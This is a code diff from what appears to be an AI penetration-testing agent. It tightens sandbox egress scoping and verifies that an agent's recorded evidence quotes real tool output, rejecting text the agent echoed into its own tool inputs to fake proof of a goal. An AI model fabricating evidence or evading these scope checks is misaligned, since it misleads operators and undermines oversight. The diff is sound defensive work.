return nil, errors.New("llm: proxy address is missing a scheme (use http://, https://, or socks5://)")
|
||||||
default:
|
default:
|
||||||
return nil, fmt.Errorf("llm: unsupported proxy scheme %q (use http, https or socks5)", proxyURL.Scheme)
|
return nil, errors.New("llm: unsupported proxy scheme (use http, https, or socks5)")
|
||||||
|
}
|
||||||
|
if proxyURL.Host == "" {
|
||||||
|
return nil, errors.New("llm: proxy address is missing a host")
|
||||||
}
|
}
|
||||||
transport.Proxy = http.ProxyURL(proxyURL)
|
transport.Proxy = http.ProxyURL(proxyURL)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,57 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/norma/llm"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Proxy validation errors from NewProvider / quotaAwareHTTPClient are returned
|
||||||
|
// to callers and logged: they must never quote the proxy address, its scheme,
|
||||||
|
// or url.Parse's raw error (which quotes the input), since the proxy URL may
|
||||||
|
// carry credentials.
|
||||||
|
func TestQuotaAwareHTTPClientProxyErrorsOmitAddress(t *testing.T) {
|
||||||
|
cases := []string{
|
||||||
|
"http://user:pw-secret@", // missing host
|
||||||
|
"user:pw-secret@proxy.example:3128", // missing scheme, url.Parse reads scheme "user"
|
||||||
|
"pw-secret:pass@proxy.example:3128", // missing scheme, url.Parse reads scheme "pw-secret"
|
||||||
|
"http://user:pw-secret@bad host:3128", // url.Parse error quotes raw URL
|
||||||
|
"ftp://user:pw-secret@proxy.example:21", // unsupported scheme
|
||||||
|
"//user:pw-secret@proxy.example:3128", // missing scheme
|
||||||
|
}
|
||||||
|
for _, raw := range cases {
|
||||||
|
_, err := quotaAwareHTTPClient(raw, "", "")
|
||||||
|
if err == nil {
|
||||||
|
t.Errorf("quotaAwareHTTPClient(%q) expected error, got nil", raw)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.Contains(err.Error(), "pw-secret") || strings.Contains(err.Error(), "user") || strings.Contains(err.Error(), "proxy.example") {
|
||||||
|
t.Errorf("quotaAwareHTTPClient(%q) error leaks proxy address: %v", raw, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg := Config{Format: llm.FormatOpenAI, APIKey: "sk-test", Model: "gpt-4o", Proxy: raw}
|
||||||
|
_, err = cfg.NewProvider()
|
||||||
|
if err == nil {
|
||||||
|
t.Errorf("NewProvider(%q) expected error, got nil", raw)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.Contains(err.Error(), "pw-secret") || strings.Contains(err.Error(), "user") || strings.Contains(err.Error(), "proxy.example") {
|
||||||
|
t.Errorf("NewProvider(%q) error leaks proxy address: %v", raw, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestQuotaAwareHTTPClientAcceptsValidProxy(t *testing.T) {
|
||||||
|
for _, raw := range []string{
|
||||||
|
"",
|
||||||
|
" ",
|
||||||
|
"http://127.0.0.1:8080",
|
||||||
|
"https://proxy.example.com:3128",
|
||||||
|
"socks5://user:pass@10.0.0.1:1080",
|
||||||
|
} {
|
||||||
|
if _, err := quotaAwareHTTPClient(raw, "", ""); err != nil {
|
||||||
|
t.Fatalf("quotaAwareHTTPClient(%q) unexpected error: %v", raw, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+51
-5
@@ -54,6 +54,10 @@ type SandboxRunInfo struct {
|
|||||||
TaskDir string // panel host path for /app/data/tasks/<id>
|
TaskDir string // panel host path for /app/data/tasks/<id>
|
||||||
ScopeDomains []string
|
ScopeDomains []string
|
||||||
ScopeCIDRs []string
|
ScopeCIDRs []string
|
||||||
|
// ResolveScope, when non-nil, refreshes ScopeDomains and ScopeCIDRs on each
|
||||||
|
// sandbox execution or policy check so operator scope approvals and
|
||||||
|
// revocations apply immediately inside an already-running intent or round.
|
||||||
|
ResolveScope func() (domains, cidrs []string)
|
||||||
}
|
}
|
||||||
|
|
||||||
type sandboxCtxKey struct{}
|
type sandboxCtxKey struct{}
|
||||||
@@ -72,6 +76,21 @@ func SandboxRunInfoFromContext(ctx context.Context) (SandboxRunInfo, bool) {
|
|||||||
return v, ok && v.TaskID != ""
|
return v, ok && v.TaskID != ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ResolveSandboxRunInfo retrieves per-task sandbox metadata from ctx and, when
|
||||||
|
// ResolveScope is set, refreshes ScopeDomains and ScopeCIDRs.
|
||||||
|
func ResolveSandboxRunInfo(ctx context.Context) (SandboxRunInfo, bool) {
|
||||||
|
v, ok := SandboxRunInfoFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return SandboxRunInfo{}, false
|
||||||
|
}
|
||||||
|
if v.ResolveScope != nil {
|
||||||
|
domains, cidrs := v.ResolveScope()
|
||||||
|
v.ScopeDomains = domains
|
||||||
|
v.ScopeCIDRs = cidrs
|
||||||
|
}
|
||||||
|
return v, true
|
||||||
|
}
|
||||||
|
|
||||||
// containerWorkdir maps a panel WorkingDir under TaskDir onto /workspace inside the worker.
|
// containerWorkdir maps a panel WorkingDir under TaskDir onto /workspace inside the worker.
|
||||||
func containerWorkdir(taskDir, workingDir string) string {
|
func containerWorkdir(taskDir, workingDir string) string {
|
||||||
if strings.TrimSpace(workingDir) == "" || strings.TrimSpace(taskDir) == "" {
|
if strings.TrimSpace(workingDir) == "" || strings.TrimSpace(taskDir) == "" {
|
||||||
@@ -95,7 +114,7 @@ func ExecInSandbox(ctx context.Context, argv []string, workingDir string, timeou
|
|||||||
if ex == nil || ex.Mode != sandbox.ModeRequired {
|
if ex == nil || ex.Mode != sandbox.ModeRequired {
|
||||||
return sandbox.ExecResponse{}, errors.New("sandbox executor not in required mode")
|
return sandbox.ExecResponse{}, errors.New("sandbox executor not in required mode")
|
||||||
}
|
}
|
||||||
info, ok := SandboxRunInfoFromContext(ctx)
|
info, ok := ResolveSandboxRunInfo(ctx)
|
||||||
if !ok || info.TaskID == "" {
|
if !ok || info.TaskID == "" {
|
||||||
return sandbox.ExecResponse{}, fmt.Errorf("%w: no task sandbox run info in context (no local fallback)", sandbox.ErrMissingSandboxContext)
|
return sandbox.ExecResponse{}, fmt.Errorf("%w: no task sandbox run info in context (no local fallback)", sandbox.ErrMissingSandboxContext)
|
||||||
}
|
}
|
||||||
@@ -200,7 +219,7 @@ func formatSandboxExecResult(resp sandbox.ExecResponse, tc *actool.ToolContext)
|
|||||||
// of the run, or, when they do not parse or the run carries none, a policy that
|
// of the run, or, when they do not parse or the run carries none, a policy that
|
||||||
// allows nothing.
|
// allows nothing.
|
||||||
func SandboxEgressPolicy(ctx context.Context) *sandbox.EgressPolicy {
|
func SandboxEgressPolicy(ctx context.Context) *sandbox.EgressPolicy {
|
||||||
info, _ := SandboxRunInfoFromContext(ctx)
|
info, _ := ResolveSandboxRunInfo(ctx)
|
||||||
pol, err := sandbox.NewEgressPolicy(info.TaskID, info.ScopeDomains, info.ScopeCIDRs, nil)
|
pol, err := sandbox.NewEgressPolicy(info.TaskID, info.ScopeDomains, info.ScopeCIDRs, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
pol, _ = sandbox.NewEgressPolicy(info.TaskID, nil, nil, nil)
|
pol, _ = sandbox.NewEgressPolicy(info.TaskID, nil, nil, nil)
|
||||||
@@ -220,7 +239,18 @@ func sandboxScopeDialContext(policy *sandbox.EgressPolicy, baseDial func(ctx con
|
|||||||
// SandboxScopeDialContext is the WebFetch sandbox dialer for another panel tool
|
// SandboxScopeDialContext is the WebFetch sandbox dialer for another panel tool
|
||||||
// that connects out from the panel process; label names the tool in a refusal.
|
// that connects out from the panel process; label names the tool in a refusal.
|
||||||
func SandboxScopeDialContext(label string, policy *sandbox.EgressPolicy, baseDial func(ctx context.Context, network, addr string) (net.Conn, error)) func(ctx context.Context, network, addr string) (net.Conn, error) {
|
func SandboxScopeDialContext(label string, policy *sandbox.EgressPolicy, baseDial func(ctx context.Context, network, addr string) (net.Conn, error)) func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||||
|
return sandboxScopeDialContextDynamic(label, func(context.Context) *sandbox.EgressPolicy { return policy }, baseDial)
|
||||||
|
}
|
||||||
|
|
||||||
|
func sandboxScopeDialContextDynamic(label string, policyFn func(context.Context) *sandbox.EgressPolicy, baseDial func(ctx context.Context, network, addr string) (net.Conn, error)) func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||||
return func(ctx context.Context, network, addr string) (net.Conn, error) {
|
return func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||||
|
var policy *sandbox.EgressPolicy
|
||||||
|
if policyFn != nil {
|
||||||
|
policy = policyFn(ctx)
|
||||||
|
}
|
||||||
|
if policy == nil {
|
||||||
|
return nil, fmt.Errorf("sandbox %s blocked: missing task egress policy", label)
|
||||||
|
}
|
||||||
host, portStr, err := net.SplitHostPort(addr)
|
host, portStr, err := net.SplitHostPort(addr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("sandbox %s blocked invalid target %q: %w", label, addr, err)
|
return nil, fmt.Errorf("sandbox %s blocked invalid target %q: %w", label, addr, err)
|
||||||
@@ -247,7 +277,18 @@ func SandboxScopeDialContext(label string, policy *sandbox.EgressPolicy, baseDia
|
|||||||
// dialer only sees the proxy, so this is where each hop is checked. A nil
|
// dialer only sees the proxy, so this is where each hop is checked. A nil
|
||||||
// policy refuses every hop.
|
// policy refuses every hop.
|
||||||
func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
|
func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
|
||||||
|
if policy == nil {
|
||||||
|
return sandboxRedirectCheckDynamic(nil, check)
|
||||||
|
}
|
||||||
|
return sandboxRedirectCheckDynamic(func(context.Context) *sandbox.EgressPolicy { return policy }, check)
|
||||||
|
}
|
||||||
|
|
||||||
|
func sandboxRedirectCheckDynamic(policyFn func(context.Context) *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
|
||||||
return func(req *http.Request, via []*http.Request) error {
|
return func(req *http.Request, via []*http.Request) error {
|
||||||
|
var policy *sandbox.EgressPolicy
|
||||||
|
if policyFn != nil {
|
||||||
|
policy = policyFn(req.Context())
|
||||||
|
}
|
||||||
if policy == nil {
|
if policy == nil {
|
||||||
return errors.New("sandbox WebFetch blocked redirect: missing task egress policy")
|
return errors.New("sandbox WebFetch blocked redirect: missing task egress policy")
|
||||||
}
|
}
|
||||||
@@ -262,7 +303,8 @@ func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request
|
|||||||
// sandbox.EgressPolicy before Norma issues any HTTP request.
|
// sandbox.EgressPolicy before Norma issues any HTTP request.
|
||||||
type sandboxScopeWebFetchTool struct {
|
type sandboxScopeWebFetchTool struct {
|
||||||
actool.CoreTool
|
actool.CoreTool
|
||||||
policy *sandbox.EgressPolicy
|
policy *sandbox.EgressPolicy
|
||||||
|
policyFn func(context.Context) *sandbox.EgressPolicy
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *sandboxScopeWebFetchTool) Call(ctx context.Context, input json.RawMessage, tc *actool.ToolContext) (actool.Result, error) {
|
func (t *sandboxScopeWebFetchTool) Call(ctx context.Context, input json.RawMessage, tc *actool.ToolContext) (actool.Result, error) {
|
||||||
@@ -273,10 +315,14 @@ func (t *sandboxScopeWebFetchTool) Call(ctx context.Context, input json.RawMessa
|
|||||||
if err := json.Unmarshal(input, &in); err != nil {
|
if err := json.Unmarshal(input, &in); err != nil {
|
||||||
return actool.Errorf(fmt.Sprintf("Error: invalid WebFetch arguments: %v", err)), nil
|
return actool.Errorf(fmt.Sprintf("Error: invalid WebFetch arguments: %v", err)), nil
|
||||||
}
|
}
|
||||||
if t.policy == nil {
|
pol := t.policy
|
||||||
|
if t.policyFn != nil {
|
||||||
|
pol = t.policyFn(ctx)
|
||||||
|
}
|
||||||
|
if pol == nil {
|
||||||
return actool.Errorf("Error: sandbox WebFetch blocked: missing task egress policy"), nil
|
return actool.Errorf("Error: sandbox WebFetch blocked: missing task egress policy"), nil
|
||||||
}
|
}
|
||||||
if err := t.policy.CheckURL(ctx, in.URL); err != nil {
|
if err := pol.CheckURL(ctx, in.URL); err != nil {
|
||||||
return actool.Errorf(fmt.Sprintf("Error: sandbox WebFetch blocked: %v", err)), nil
|
return actool.Errorf(fmt.Sprintf("Error: sandbox WebFetch blocked: %v", err)), nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+44
-3
@@ -1690,6 +1690,20 @@ func (t *ToolSet) proveGoal() actool.CoreTool {
|
|||||||
if !okAct {
|
if !okAct {
|
||||||
return actool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): fact %d is not backed by a matching recorded activity in this task. Goal %d stays open.", ev, goal)), nil
|
return actool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): fact %d is not backed by a matching recorded activity in this task. Goal %d stays open.", ev, goal)), nil
|
||||||
}
|
}
|
||||||
|
// Every evidence line of a tool_output fact must be in the tool
|
||||||
|
// result it is tied to, checked again here so a fact stored
|
||||||
|
// before that rule, or by any other path, cannot carry free text.
|
||||||
|
if !wantOperator {
|
||||||
|
evidenceRaw, _ := fp["evidence"].(string)
|
||||||
|
quoted, fits := factQuotedLines(evidenceRaw)
|
||||||
|
holds, err := t.ts.ToolResultContainsQuotedLines(actID, quoted)
|
||||||
|
if err != nil {
|
||||||
|
return actool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): fact %d evidence verification unavailable (%v). Goal %d stays open.", ev, err, goal)), nil
|
||||||
|
}
|
||||||
|
if !fits || len(quoted) == 0 || !holds {
|
||||||
|
return actool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): a line of fact %d's evidence is not in the tool result it is tied to. Goal %d stays open: record a fact whose every evidence line quotes that tool output verbatim.", ev, goal)), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
// For operator_input facts, prevent a benign real operator quote in
|
// For operator_input facts, prevent a benign real operator quote in
|
||||||
// evidence from smuggling an unrelated summary claim (e.g. "admin access
|
// evidence from smuggling an unrelated summary claim (e.g. "admin access
|
||||||
// granted"): the normalized summary must appear inside the verified
|
// granted"): the normalized summary must appear inside the verified
|
||||||
@@ -2007,6 +2021,23 @@ func factEvidenceLines(evidence string) []string {
|
|||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// factQuotedLines returns every non-blank line of a fact's evidence, trimmed,
|
||||||
|
// once each. A tool_output fact is tied to a tool result only when that result
|
||||||
|
// holds all of them (db.EvidenceLinesIn). ok is false when the evidence has
|
||||||
|
// more than factEvidenceMaxLines such lines.
|
||||||
|
func factQuotedLines(evidence string) (lines []string, ok bool) {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
for raw := range strings.SplitSeq(evidence, "\n") {
|
||||||
|
line := strings.TrimSpace(raw)
|
||||||
|
if line == "" || seen[line] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[line] = true
|
||||||
|
lines = append(lines, line)
|
||||||
|
}
|
||||||
|
return lines, len(lines) <= factEvidenceMaxLines
|
||||||
|
}
|
||||||
|
|
||||||
// factProvenance can identify an activity in this intent. A shared-recorder
|
// factProvenance can identify an activity in this intent. A shared-recorder
|
||||||
// text match cannot establish which task sent an exchange.
|
// text match cannot establish which task sent an exchange.
|
||||||
func (t *ToolSet) factProvenance(source, evidence string, intent int64) (status string, activityID int64, note string) {
|
func (t *ToolSet) factProvenance(source, evidence string, intent int64) (status string, activityID int64, note string) {
|
||||||
@@ -2025,10 +2056,20 @@ func (t *ToolSet) factProvenance(source, evidence string, intent int64) (status
|
|||||||
return factProvenanceOperator, id, ""
|
return factProvenanceOperator, id, ""
|
||||||
}
|
}
|
||||||
if source == factSourceToolOutput {
|
if source == factSourceToolOutput {
|
||||||
id, _, ok, err := t.ts.ToolResultActivityContainingEvidence(intent, lines)
|
quoted, fits := factQuotedLines(evidence)
|
||||||
|
if !fits {
|
||||||
|
return factProvenanceUnverified, 0, fmt.Sprintf("evidence has more than %d lines; quote only the few output lines that prove the fact, each exactly as the tool printed it", factEvidenceMaxLines)
|
||||||
|
}
|
||||||
|
id, _, ok, echoed, incomplete, err := t.ts.ToolResultActivityContainingEvidence(intent, lines, quoted)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return factProvenanceUnverified, 0, "the recorded tool activity could not be read, so the evidence is unverified"
|
return factProvenanceUnverified, 0, "the recorded tool activity could not be read, so the evidence is unverified"
|
||||||
}
|
}
|
||||||
|
if echoed {
|
||||||
|
return factProvenanceUnverified, 0, "the quoted tool output also appears in the input of an earlier tool call of this task (a heredoc, echo, printf, or a file written and read back), and text written into a tool's input is not an observation; quote output the tool produced, not text it was given"
|
||||||
|
}
|
||||||
|
if incomplete {
|
||||||
|
return factProvenanceUnverified, 0, "a line of the evidence is not in the recorded tool_result that holds the rest: every evidence line must quote that one tool output verbatim (a line under 12 characters must be a whole output line); put the command and any commentary in detail, not in evidence"
|
||||||
|
}
|
||||||
if !ok {
|
if !ok {
|
||||||
return factProvenanceUnverified, 0, "evidence does not quote any line of this intent's recorded tool_result activity; quote the tool output verbatim instead of paraphrasing it"
|
return factProvenanceUnverified, 0, "evidence does not quote any line of this intent's recorded tool_result activity; quote the tool output verbatim instead of paraphrasing it"
|
||||||
}
|
}
|
||||||
@@ -2156,10 +2197,10 @@ func (t *ToolSet) recordFact() actool.CoreTool {
|
|||||||
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n"+
|
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n"+
|
||||||
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n"+
|
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n"+
|
||||||
"⚠️Write only conclusions you [actually saw] in tool output — don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n"+
|
"⚠️Write only conclusions you [actually saw] in tool output — don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n"+
|
||||||
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** — details belong in detail; don't paste large output blocks here.\n"+
|
" · evidence = [one line] of key evidence supporting this conclusion: the one or two most proving output lines, copied verbatim from one tool output, **keep it brief**; the command and other details belong in detail, and large output blocks do not belong here.\n"+
|
||||||
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n"+
|
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n"+
|
||||||
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n"+
|
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n"+
|
||||||
" · **evidence is checked against this intent's recorded activity**: quote the output verbatim. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n"+
|
" · **evidence is checked against this intent's recorded activity**: every evidence line must appear verbatim in the one tool output it quotes (a line under 12 characters must be a whole output line), and text you wrote into a tool's input does not count. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n"+
|
||||||
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."+
|
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."+
|
||||||
recordFactContractNote,
|
recordFactContractNote,
|
||||||
recordFactSchema(),
|
recordFactSchema(),
|
||||||
|
|||||||
@@ -789,11 +789,19 @@ func (t *ToolSet) MainAgentTools() []actool.CoreTool {
|
|||||||
// deduped by name (mainagent order wins). Used by the server to build a registry
|
// deduped by name (mainagent order wins). Used by the server to build a registry
|
||||||
// for injecting domain tools into agents (Auto, custom) that don't own a per-task
|
// for injecting domain tools into agents (Auto, custom) that don't own a per-task
|
||||||
// ToolSet. The caller provides real stores; tools are callable at taskID=0 scope.
|
// ToolSet. The caller provides real stores; tools are callable at taskID=0 scope.
|
||||||
|
//
|
||||||
|
// The coverage-only tools are excluded: every instance here is task-less by
|
||||||
|
// construction, so record_coverage/list_untested_assets can only answer
|
||||||
|
// "requires a task context". Registering them would re-inject the tool into a
|
||||||
|
// run whose own ToolSet deliberately dropped it (coverage_enabled=false).
|
||||||
func (t *ToolSet) AllDomainTools() []actool.CoreTool {
|
func (t *ToolSet) AllDomainTools() []actool.CoreTool {
|
||||||
seen := map[string]bool{}
|
seen := map[string]bool{}
|
||||||
var out []actool.CoreTool
|
var out []actool.CoreTool
|
||||||
all := append(append(t.MainAgentTools(), t.PlannerTools()...), t.WorkerTools()...)
|
all := append(append(t.MainAgentTools(), t.PlannerTools()...), t.WorkerTools()...)
|
||||||
for _, tool := range all {
|
for _, tool := range all {
|
||||||
|
if coverageOnlyTools[tool.Name()] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
if !seen[tool.Name()] {
|
if !seen[tool.Name()] {
|
||||||
seen[tool.Name()] = true
|
seen[tool.Name()] = true
|
||||||
out = append(out, tool)
|
out = append(out, tool)
|
||||||
|
|||||||
+10
-6
@@ -32,19 +32,23 @@ func withWebFetch(ctx context.Context, tools []actool.CoreTool, proxy, caCert st
|
|||||||
dialer := intercept.PinnedDialer("WebFetch", scoped)
|
dialer := intercept.PinnedDialer("WebFetch", scoped)
|
||||||
disableDirect := gated
|
disableDirect := gated
|
||||||
checkRedirect := intercept.RedirectCheck("WebFetch")
|
checkRedirect := intercept.RedirectCheck("WebFetch")
|
||||||
var sbPolicy *sandbox.EgressPolicy
|
var policyFn func(context.Context) *sandbox.EgressPolicy
|
||||||
if SandboxRequired() {
|
if SandboxRequired() {
|
||||||
pol := SandboxEgressPolicy(ctx)
|
policyFn = func(callCtx context.Context) *sandbox.EgressPolicy {
|
||||||
sbPolicy = pol
|
if _, ok := SandboxRunInfoFromContext(callCtx); ok {
|
||||||
dialer = sandboxScopeDialContext(pol, dialer)
|
return SandboxEgressPolicy(callCtx)
|
||||||
checkRedirect = sandboxRedirectCheck(pol, checkRedirect)
|
}
|
||||||
|
return SandboxEgressPolicy(ctx)
|
||||||
|
}
|
||||||
|
dialer = sandboxScopeDialContextDynamic("WebFetch", policyFn, dialer)
|
||||||
|
checkRedirect = sandboxRedirectCheckDynamic(policyFn, checkRedirect)
|
||||||
disableDirect = true
|
disableDirect = true
|
||||||
}
|
}
|
||||||
webFetch := actool.NewWebFetch(actool.WebFetchConfig{Proxy: proxy, CACert: caCert, CheckRedirect: checkRedirect,
|
webFetch := actool.NewWebFetch(actool.WebFetchConfig{Proxy: proxy, CACert: caCert, CheckRedirect: checkRedirect,
|
||||||
DialContext: dialer, DisableDirectRetry: disableDirect})
|
DialContext: dialer, DisableDirectRetry: disableDirect})
|
||||||
var wrapped actool.CoreTool = governedFetch{webFetch}
|
var wrapped actool.CoreTool = governedFetch{webFetch}
|
||||||
if SandboxRequired() {
|
if SandboxRequired() {
|
||||||
wrapped = &sandboxScopeWebFetchTool{CoreTool: wrapped, policy: sbPolicy}
|
wrapped = &sandboxScopeWebFetchTool{CoreTool: wrapped, policyFn: policyFn}
|
||||||
}
|
}
|
||||||
return append(tools[:len(tools):len(tools)], wrapped)
|
return append(tools[:len(tools):len(tools)], wrapped)
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -292,7 +292,7 @@ const workerDefaultTmpl = `You are an "executor" (work agent) of a network-secur
|
|||||||
|
|
||||||
**Write back as you discover** (only what's written into the graph counts; what's in your head/text doesn't; write every result immediately — don't save it for the end and lose it when the step budget runs out). Three kinds of write-back, don't cross the graphs:
|
**Write back as you discover** (only what's written into the graph counts; what's in your head/text doesn't; write every result immediately — don't save it for the end and lose it when the step budget runs out). Three kinds of write-back, don't cross the graphs:
|
||||||
- **New asset/resource → insert_assets (asset graph)**: subdomains / services / endpoints / fingerprints / credentials and any asset [itself]. **Only assets are registered here; exploration conclusions/judgments don't go here — use record_fact.**
|
- **New asset/resource → insert_assets (asset graph)**: subdomains / services / endpoints / fingerprints / credentials and any asset [itself]. **Only assets are registered here; exploration conclusions/judgments don't go here — use record_fact.**
|
||||||
- **Exploration conclusion/fact → record_fact (exploration graph, pass intent_id)**: use it for all of those. **Consolidate multiple observations into [ONE] fact** (summary = one summarizing sentence + detail = the expansion of the summary, based on the real execution process) — not one fact per attribute; one intent usually produces only one fact, and splitting finely bloats the graph endlessly — **write one fact by default, merging everything mergeable into detail**; only use the facts array to split when there are genuinely [mutually independent, unmergeable] conclusions — that's a rare exception, not the norm. **Write only the delta**: record only what is [newly obtained] this time; don't re-record existing facts in different words (if it merely corroborates an existing one with nothing new, don't record it). **Write only what you actually saw**: give evidence (one line: the command + the most proving one or two output lines — brief; details in detail), and mark confidence (observed = seen directly / inferred = inferred from phenomena). **Declare the source** of every fact: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it), tool_output (a tool's own result about the target: port states, scanner verdicts, status codes and timings you measured), third_party_intel (OSINT, CVE databases, public reports), operator_input (given by the human operator), or inference (your own reasoning; the default).
|
- **Exploration conclusion/fact → record_fact (exploration graph, pass intent_id)**: use it for all of those. **Consolidate multiple observations into [ONE] fact** (summary = one summarizing sentence + detail = the expansion of the summary, based on the real execution process); not one fact per attribute; one intent usually produces only one fact, and splitting finely bloats the graph endlessly; **write one fact by default, merging everything mergeable into detail**; only use the facts array to split when there are genuinely [mutually independent, unmergeable] conclusions; that's a rare exception, not the norm. **Write only the delta**: record only what is [newly obtained] this time; don't re-record existing facts in different words (if it merely corroborates an existing one with nothing new, don't record it). **Write only what you actually saw**: give evidence (one line: the most proving one or two output lines, copied verbatim from one tool output; brief; the command and other details go in detail), and mark confidence (observed = seen directly / inferred = inferred from phenomena). **Declare the source** of every fact: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it), tool_output (a tool's own result about the target: port states, scanner verdicts, status codes and timings you measured), third_party_intel (OSINT, CVE databases, public reports), operator_input (given by the human operator), or inference (your own reasoning; the default).
|
||||||
- **Confirmed vulnerability → report_finding (exploration graph, with PoC, pass intent_id)**: **use it only when you actually triggered it this time and obtained reproducible evidence (request/response or command output)**. It is strictly forbidden to treat "version/fingerprint matching a CVE", "the parameter looks injectable", or "inference from external vulnerability databases/changelogs/code diffs" as confirmed, and don't substitute querying a CVE database or comparing patch versions for actually triggering it. Can't trigger it but suspicion remains → record an inferred fact with record_fact (the suspicion point + why it couldn't be triggered) for the planner; don't force it into a finding. Before registering, check list_findings / list_task_findings for an existing finding with the same root cause, endpoint, and parameter: the same defect again means extending that finding's evidence, not registering a duplicate (duplicates burn reviewer trust); a genuinely distinct entry point, parameter, or privilege level remains its own finding per the adversarial gate. When your confidence is not high, also fill report_finding's optional fields: counterevidence = what you tested that did not work; confidence_rationale = why the conclusion holds. Both are optional and never block reporting.
|
- **Confirmed vulnerability → report_finding (exploration graph, with PoC, pass intent_id)**: **use it only when you actually triggered it this time and obtained reproducible evidence (request/response or command output)**. It is strictly forbidden to treat "version/fingerprint matching a CVE", "the parameter looks injectable", or "inference from external vulnerability databases/changelogs/code diffs" as confirmed, and don't substitute querying a CVE database or comparing patch versions for actually triggering it. Can't trigger it but suspicion remains → record an inferred fact with record_fact (the suspicion point + why it couldn't be triggered) for the planner; don't force it into a finding. Before registering, check list_findings / list_task_findings for an existing finding with the same root cause, endpoint, and parameter: the same defect again means extending that finding's evidence, not registering a duplicate (duplicates burn reviewer trust); a genuinely distinct entry point, parameter, or privilege level remains its own finding per the adversarial gate. When your confidence is not high, also fill report_finding's optional fields: counterevidence = what you tested that did not work; confidence_rationale = why the conclusion holds. Both are optional and never block reporting.
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"unicode"
|
||||||
)
|
)
